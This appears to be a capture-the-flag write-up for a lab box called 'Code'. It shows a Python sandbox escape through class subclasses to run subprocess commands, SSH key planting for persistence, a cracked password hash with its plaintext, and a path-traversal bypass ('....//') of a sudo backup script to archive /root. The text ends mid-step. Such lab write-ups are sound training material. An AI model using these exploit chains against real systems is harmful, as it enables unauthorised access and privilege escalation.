Code¶
Initial Scan¶
We start with a port scan on the target machine (10.10.11.62):
Port 22 is SSH, and port 5000 is commonly used by web applications in development (Flask, Django, etc.).
Exploitation via Python¶
Analyzing the service on port 5000, we find a vulnerability that allows us to execute Python code by leveraging the internal class hierarchy:
classes = {}.__class__.__base__.__subclasses__()
for i in range(70, 90):
print(f"{i}: {classes[i]}\n")
print(classes[84])
classes[80]().load_module()
We find that classes[84] maps to the subprocess module, which allows us to run system commands.
Retrieving user.txt¶
classes = {}.__class__.__base__.__subclasses__()
restricted2 = "subprocess"
test = classes[84]().load_module(restricted2)
proc = test.run(["cat", "../user.txt"], capture_output=True)
print(proc.stdout)
This gives us the contents of user.txt.
SSH Access as app-production¶
We can now write an authorized SSH key to gain a stable foothold:
test = classes[84]().load_module("subprocess")
test.run(["mkdir", "-p", "/home/app-production/.ssh"], capture_output=True)
test.run("echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJDZawBaiG26eqxQwqibymN4tlR7ln4isBLNHUf7cJvN pwned > /home/app-production/.ssh/authorized_keys", shell=True, capture_output=True)
We can now connect via SSH as app-production.
Extracting the SQLite Database¶
We find a database.db file containing users and hashed passwords:
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password VARCHAR(80) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)
We extract a hash for the user martin: 3de6f30c4a09c27fc71932bfc68474be
Running it through CrackStation, we recover the password: nafeelswordsmaster
Privilege Escalation via sudo¶
We log in as martin and check sudo permissions:
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
The script backy.sh can be run with a JSON task file.
Contents of backy.sh¶
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Exploiting backy.sh¶
The script attempts to filter paths containing ../, but we can bypass this using quadruple dots:
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
]
}
We run the script with sudo:
This produces an archive containing /root/. After extracting it: